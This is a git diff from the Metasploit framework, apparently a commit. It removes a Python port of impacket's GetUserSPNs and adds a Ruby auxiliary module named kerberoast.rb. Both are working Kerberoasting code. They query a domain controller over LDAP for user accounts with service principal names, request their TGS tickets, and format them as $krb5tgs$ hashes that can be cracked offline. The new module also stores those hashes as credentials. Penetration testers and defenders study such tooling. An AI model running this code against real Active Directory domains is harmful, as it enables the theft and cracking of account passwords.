hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) - if fd is None: - module.log('{}'.format(entry), level='good') - else: - fd.write(entry + '\n') - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: - entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( - constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], - spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) - if fd is None: - module.log('{}'.format(entry), level='good') - else: - fd.write(entry + '\n') - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( - constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], - spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) - if fd is None: - module.log('{}'.format(entry), level='good') - else: - fd.write(entry + '\n') - elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: - entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( - constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], - spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) - if fd is None: - module.log('{}'.format(entry), level='good') - else: - fd.write(entry + '\n') - else: - module.log('Skipping %s/%s due to incompatible e-type %d' % ( - decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], - decodedTGS['ticket']['enc-part']['etype']), level='debug') - - if self.__saveTGS is True: - # Save the ticket - module.log('About to save TGS for %s' % username, level='debug') - ccache = CCache() - try: - ccache.fromTGS(tgs, oldSessionKey, sessionKey) - ccache.saveFile('%s.ccache' % username) - except Exception as e: - module.log(str(e), level='error') - - def run(self): - if self.__usersFile: - self.request_users_file_TGSs() - return - - if self.__kdcHost is not None and self.__targetDomain == self.__domain: - self.__target = self.__kdcHost - else: - if self.__kdcIP is not None and self.__targetDomain == self.__domain: - self.__target = self.__kdcIP - else: - self.__target = self.__targetDomain - - if self.__doKerberos: - module.log('Getting machine hostname', level='info') - self.__target = self.getMachineName(self.__target) - - # Connect to LDAP - try: - ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, - self.__aesKey, kdcHost=self.__kdcIP) - except ldap.LDAPSessionError as e: - if str(e).find('strongerAuthRequired') >= 0: - # We need to try SSL - ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, - self.__aesKey, kdcHost=self.__kdcIP) - else: - if str(e).find('NTLMAuthNegotiate') >= 0: - module.log("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " - "authentication instead.", level='error') - else: - if self.__kdcIP is not None and self.__kdcHost is not None: - module.log("If the credentials are valid, check the hostname and IP address of KDC. They " - "must match exactly each other", level='error') - raise - - # Building the search filter - searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" - - if self.__requestUser is not None: - searchFilter += '(sAMAccountName:=%s))' % self.__requestUser - else: - searchFilter += ')' - - try: - resp = ldapConnection.search(searchFilter=searchFilter, - attributes=['servicePrincipalName', 'sAMAccountName', - 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], - sizeLimit=100000) - except ldap.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug') - # We reached the sizeLimit, process the answers we have already and that's it. Until we implement - # paged queries - resp = e.getAnswers() - pass - else: - raise - - answers = [] - module.log('Total of records returned %d' % len(resp), level='debug') - - for item in resp: - if isinstance(item, ldapasn1.SearchResultEntry) is not True: - continue - mustCommit = False - sAMAccountName = '' - memberOf = '' - SPNs = [] - pwdLastSet = '' - userAccountControl = 0 - lastLogon = 'N/A' - delegation = '' - try: - for attribute in item['attributes']: - if str(attribute['type']) == 'sAMAccountName': - sAMAccountName = str(attribute['vals'][0]) - mustCommit = True - elif str(attribute['type']) == 'userAccountControl': - userAccountControl = str(attribute['vals'][0]) - if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: - delegation = 'unconstrained' - elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: - delegation = 'constrained' - elif str(attribute['type']) == 'memberOf': - memberOf = str(attribute['vals'][0]) - elif str(attribute['type']) == 'pwdLastSet': - if str(attribute['vals'][0]) == '0': - pwdLastSet = '' - else: - pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) - elif str(attribute['type']) == 'lastLogon': - if str(attribute['vals'][0]) == '0': - lastLogon = '' - else: - lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) - elif str(attribute['type']) == 'servicePrincipalName': - for spn in attribute['vals']: - SPNs.append(str(spn)) - - if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE: - module.log('Bypassing disabled account %s ' % sAMAccountName, level='debug') - else: - for spn in SPNs: - answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation]) - except Exception as e: - module.log('Skipping item, cannot process due to error %s' % str(e), level='error') - pass - - if len(answers) > 0: - self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", - "Delegation"]) - - if self.__requestTGS is True or self.__requestUser is not None: - # Let's get unique user names and a SPN to request a TGS for - users = dict((vals[1], vals[0]) for vals in answers) - - # Get a TGT for the current user - TGT = self.getTGT() - - if self.__outputFileName is not None: - fd = open(self.__outputFileName, 'w+') - else: - fd = None - - for user, SPN in users.items(): - sAMAccountName = user - downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName - - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, - self.__kdcHost, - TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) - self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, - self.__targetDomain + "/" + sAMAccountName, fd) - except Exception as e: - module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error') - - if fd is not None: - fd.close() - - else: - module.log('No entries found!', level='info') - - def request_users_file_TGSs(self): - - with open(self.__usersFile) as fi: - usernames = [line.strip() for line in fi] - - self.request_multiple_TGSs(usernames) - - def request_multiple_TGSs(self, usernames): - # Get a TGT for the current user - TGT = self.getTGT() - - if self.__outputFileName is not None: - fd = open(self.__outputFileName, 'w+') - else: - fd = None - - for username in usernames: - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value - principalName.components = [username] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, - self.__kdcHost, - TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) - self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) - except Exception as e: - module.log('User Exception: {} - {}'.format(username, str(e)), level='error') - - if fd is not None: - fd.close() - -def run(args): - if dependencies_missing: - module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error') - return - - options = {} - options['dc_ip'] = args['rhost'] - user_domain = args['domain'] - target_domain = args['domain'] - executer = GetUserSPNs(args['user'], args['pass'], user_domain, target_domain, options) - executer.run() - -if __name__ == '__main__': - module.run(metadata, run) diff --git a/modules/auxiliary/gather/kerberoast.rb b/modules/auxiliary/gather/kerberoast.rb new file mode 100644 index 000000000000..f51e59b6298d --- /dev/null +++ b/modules/auxiliary/gather/kerberoast.rb @@ -0,0 +1,218 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Kerberos::Client + include Msf::Exploit::Remote::LDAP + include Msf::Exploit::Remote::LDAP::Queries + include Msf::OptionalSession::LDAP + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)', + 'Description' => %q{ + This module will try to find Service Principal Names that are associated with normal user accounts. + Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request + will encrypt the ticket with the account the SPN is running under, this could be used for an offline + bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. + This is part of the kerberoast attack research by Tim Medin (@timmedin). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Alberto Solino', # impacket example + 'smashery', # MSF Module + ], + 'References' => [ + ['URL', 'https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [], + 'AKA' => ['GetUserSpns.py', 'get_user_spns'] + } + ) + ) + + register_options( + [ + Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'), + OptString.new('TARGET_USER', [ false, 'Specific user to kerberoast' ]), + OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']), + Msf::OptAddress.new('DomainControllerRhost', [false, 'The resolvable rhost for the Domain Controller'], fallbacks: ['rhost']), + ] + ) + register_option_group(name: 'SESSION', + description: 'Used when connecting to LDAP over an existing SESSION', + option_names: %w[RHOSTS], + required_options: %w[SESSION RHOSTS]) + register_advanced_options( + [ + OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]), + ] + ) + end + + def run + dc = datastore['DomainControllerRhost'] + rhost = datastore['RHOST'] + if dc != rhost + fail_with(Failure::BadConfig, 'DomainControllerRhost should ') + end + if datastore['TARGET_USER'].nil? + run_ldap + else + run_user + end + end + + def run_user + user = datastore['TARGET_USER'] + filter = "(&(objectClass=user)(sAMAccountName=#{Net::LDAP::Filter.escape(user)}))" + attributes = ['servicePrincipalName', 'sAMAccountName'] + spn = nil + count = run_ldap_query(filter, attributes) do |result| + if result.respond_to?(:serviceprincipalname) + spn = result.serviceprincipalname[0] + end + end + if count == 0 + fail_with(Failure::BadConfig, "User #{user} not found") + elsif spn.nil? + fail_with(Failure::BadConfig, "User #{user} has no SPN") + end + begin + jtr = roast(user, spn) + jtr_format = Metasploit::Framework::Hashes.identify_hash(jtr) + report_hash(jtr, jtr_format) + print_good("Success: \n#{jtr}") + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + print_error("#{user} reported as kerberoastable, but received error when attempting to retrieve TGS (#{e})") + end + end + + def run_ldap + jtr_formats = Set.new + hashes = [] + run_builtin_ldap_query('ENUM_USER_SPNS_KERBEROAST') do |result| + spn = result.serviceprincipalname[0] + username = result.samaccountname[0] + begin + jtr = roast(username, spn) + hashes.append(jtr) + jtr_format = Metasploit::Framework::Hashes.identify_hash(jtr) + jtr_formats.add(jtr_format) + report_hash(jtr, jtr_format) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + print_error("#{username} reported as kerberoastable, but received error when attempting to retrieve TGS (#{e})") + end + end + if hashes.empty? + return + end + + print_good("Success: \n#{hashes.join("\n")}") + + if jtr_formats.length > 1 + print_warning('NOTE: Multiple encryption types returned - will require separate cracking runs for each type.') + print_status('To obtain the crackable values for a praticular type, run `creds`:') + jtr_formats.each do |format| + print_status("creds -t #{format} -O #{datastore['RHOST']} -o ") + end + end + end + + def roast(roasted, spn) + components = spn.split('/') + fail_with(Failure::UnexpectedReply, "Invalid SPN: #{spn}") unless components.length == 2 + + sname = Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, + name_string: components + ) + domain_name = datastore['LDAPDomain'] + rhostname = datastore['DomainControllerRhost'] + username = datastore['LDAPUsername'] + password = datastore['LDAPPassword'] + authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new( + host: rhostname, + realm: domain_name, + username: username, + password: password, + framework: framework, + framework_module: framework_module, + ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module) + ) + + # Get a TGT - allow getting from cache + options = { + cache_file: datastore['LDAP::Krb5Ccname'], + ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::ReadWrite.new(framework: framework, framework_module: framework_module) + } + credential = authenticator.request_tgt_only(options) + + now = Time.now.utc + expiry_time = now + 1.day + + ticket = Rex::Proto::Kerberos::Model::Ticket.decode(credential.ticket.value) + session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: credential.keyblock.enctype.value, + value: credential.keyblock.data.value + ) + + tgs_options = { + pa_data: [] + } + + tgs_ticket, = authenticator.request_service_ticket( + session_key, + ticket, + domain_name.upcase, + username, + offered_etypes, + expiry_time, + now, + sname, + tgs_options + ) + + format_tgs_rep_to_john_hash(tgs_ticket, roasted) + end + + def report_hash(hash, jtr_format) + service_data = { + address: rhost, + port: rport, + service_name: 'Kerberos', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def offered_etypes + Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['LDAP::KrbOfferedEncryptionTypes']) + end + + attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file + +end